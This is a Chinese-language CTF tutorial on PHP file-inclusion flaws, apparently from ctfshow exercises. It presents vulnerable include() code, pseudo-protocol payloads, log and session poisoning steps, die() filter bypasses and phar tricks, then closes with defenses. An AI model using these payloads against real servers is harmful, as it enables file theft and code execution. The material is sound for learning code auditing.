php代码审计前奏之ctfshow之文件包含
字数 1349 2025-08-15 21:33:32
PHP代码审计之文件包含漏洞详解
文件包含漏洞基础
文件包含漏洞是PHP代码审计中常见的安全问题,主要源于include、require、include_once、require_once等函数的不当使用。
基本漏洞代码
<?php
if(isset($_GET['file'])) {
$file = $_GET['file'];
include($file);
} else {
highlight_file(__FILE__);
}
这种简单的文件包含可以直接利用PHP伪协议读取文件内容。
PHP伪协议利用
1. php://filter协议
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
通过base64编码读取文件内容,避免直接输出被解析。
2. data://协议
当php被过滤时:
$file = str_replace("php", "", $file);
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=是<?php system('cat flag.php');的base64编码。
日志文件包含
当php和data协议都被过滤时:
$file = str_replace("php", "", $file);
$file = str_replace("data", "", $file);
可以包含日志文件如Nginx的access.log:
payload:
?file=/var/log/nginx/access.log
利用步骤:
- 修改User-Agent为PHP代码:
<?php system('ls');?> - 访问网站让日志记录
- 包含日志文件执行代码
Session文件包含
当点(.)也被过滤时:
$file = str_replace(".", "", $file);
可以利用Session文件包含:
- 上传文件时设置PHPSESSID
- Session文件路径通常为
/tmp/sess_[PHPSESSID] - 竞争包含该文件
POC HTML:
<!DOCTYPE html>
<html>
<body>
<form action="目标地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
死亡绕过技巧
当遇到类似以下代码时:
file_put_contents($file, "<?php die('大佬别秀了');?>".$content);
1. base64-decode绕过
原理:
<?php die();?>正好6个字符,base64解码时会被忽略- 需要确保payload长度是4的倍数
payload:
?file=php://filter/write=convert.base64-decode/resource=1.php
POST数据:
content=aaPD9waHAgcGhwaW5mbygpOz8+
2. rot13过滤器绕过
payload:
?file=php://filter/write=string.rot13/resource=2.php
POST数据:
content=<?cuc cucvasb();?>
3. strip_tags过滤器绕过
payload:
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php/
POST数据:
<?php phpinfo();PD9waHAgcGhwaW5mbygpOw==
高级绕过技巧
1. UCS-2编码绕过
当过滤了base64和string时:
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
可以使用convert.iconv.*过滤器:
payload:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST数据:
?<hp pvela$(P_SO[T]a;)>?
2. phar协议利用
当文件上传+文件包含结合时:
- 创建PHP文件并压缩为ZIP
- 修改后缀为.jpg上传
- 使用phar协议包含:
?file=phar://upload/1.jpg/1
实际CTF题目分析
web118 - 特殊Content-Type绕过
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: ".filesize($file));
readfile($file);
解法:
- 直接包含flag.php:
?file=flag.php - 查看响应包获取base64编码的flag
上传+固定后缀包含
@$file = $_GET["file"];
if(isset($file)) {
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") || strlen($file)>=70) {
echo "<p> error! </p>";
} else {
include($file.'.php');
}
}
解法:
- 上传ZIP改后缀的JPG文件
- 使用phar协议包含:
?file=phar://upload/1.jpg/1
防御措施
- 避免动态包含用户可控的文件路径
- 使用白名单限制包含的文件
- 过滤特殊字符和协议:
../,php://,data://等 - 设置
open_basedir限制文件访问范围 - 禁用危险函数:
allow_url_include=Off
总结
文件包含漏洞的利用方式多样,从基本的伪协议利用到复杂的条件竞争和编码绕过,审计时需要特别注意:
- 所有用户输入作为文件路径的情况
- 过滤器的绕过可能性
- 服务器环境信息(日志路径、session存储位置等)
- 特殊协议的使用限制
通过系统学习这些技巧,可以更好地进行PHP代码审计和安全防护。